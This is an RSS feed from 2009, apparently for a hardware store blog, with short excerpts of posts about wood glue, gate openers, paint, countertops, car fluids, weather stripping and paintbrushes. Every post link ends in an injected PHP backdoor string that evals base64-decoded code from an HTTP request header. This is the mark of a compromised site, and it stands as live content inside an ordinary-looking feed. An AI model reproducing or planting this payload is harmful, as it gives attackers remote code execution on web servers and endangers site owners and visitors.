http://site.buyacehardware.com/blog Home improvement tips, ideas, successes, and possibly a few ooops's. Tue, 21 Jul 2009 20:33:29 +0000 http://backend.userland.com/rss092 en One of our sales associates get this question all the time, "Which TiteBond wood glue should I use?" Franklin manufactures three different TiteBond wood glues - Original, Premium and Ultimate. - Original, not surprisingly, was the first. It was the first aliphatic resin glue, developed in 1955. - Premium came on the scene ... http://site.buyacehardware.com/blog/2009/07/21/which-titebond-wood-glue-should-i-use/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ A customer of ours described his electric gate opener problem and solution for us. I thought it might help some of you out. Here's Paul's story: We have this dog. She is a two-year-old Springer Spaniel. When we first got her she would stay in our yard, but eventually she figured ... http://site.buyacehardware.com/blog/2009/07/16/customer-likes-our-electric-gate-opener/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Our paint department has been mixing colors galore! It is definitely a popular home maintenance project this year. I've seen gallons and gallons of red go to a camp. And people are lined up to get colors mixed. I love painting because it's easy, inexpensive, gives new life to your space, and ... http://site.buyacehardware.com/blog/2009/07/09/paint-is-really-popular/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ As a bit of a green freak, I love reading green tips of the day. Some I can't use. Some I can. Some I've heard over and over. Some are brand new. A few sites I like: GreenDaily.com Not the same old boring stuff. TheDailyGreen.com Good for the beginner with some advanced ... http://site.buyacehardware.com/blog/2009/07/08/green-tips-of-the-day-online/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ @blackfonzie asked me on Twitter: "We have awful color of laminate countertop. Possible to take the laminate layer off & replace?" Our resident kitchen designer and installer said you can actually put a new layer of laminate on top of the old one. This process will work if the edges of ... http://site.buyacehardware.com/blog/2009/07/07/new-laminate-on-old-counter-top/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ My Fourth of July trip is a short one, but I'm still going to check some vital fluids before heading out. You know the ones: 1) Oil 2) Anti-freeze 3) Transmission Fluid I'll also be checking the air pressure in my tires. Most of us now have little reminded bells (well, lights) that tell ... http://site.buyacehardware.com/blog/2009/07/03/fourth-of-july-trip-check-your-engine-oil/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Our country's birthday is a big celebration! There are b-b-q's, fireworks, parties, parades. Who has time to do home maintenance during the Fourth of July weekend? I know my weekend's pretty packed. I'm heading about an hour away, both days, for an alpaca farm open house. I may not have time ... http://site.buyacehardware.com/blog/2009/07/02/seriously-fourth-of-july-home-maintenance/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Is there a home improvement project that gets any better than weather stripping your doors? Do I sound a little crazy? Maybe, but I'm serious. And it saves energy. This is one of the projects the greenies promote. Weather stripping is fast, inexpensive, saves you money on your energy bill, and ... http://site.buyacehardware.com/blog/2009/07/01/weather-stripping-peel-and-stick/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ I had hoped to share great bits of wisdom about engine maintenance this week. However, it is not to be. Although there may be some differences in the suggested maintenance routines of different engines, there are a lot of similarities. And they all remind me of maintenance on my car (no ... http://site.buyacehardware.com/blog/2009/06/26/engine-maintenance-for-the-honda-gx120-gx160-and-gx200/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Narrow, wide, angled, straight, $14, .49. There are so many choices when it comes to paintbrushes. The hardware store can have bunches. But which one is right? If you're about to paint the exterior of your house, you're bound to need at least one paintbrush. Even if you're going to use ... http://site.buyacehardware.com/blog/2009/06/25/should-i-buy-a-14-paintbrush/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/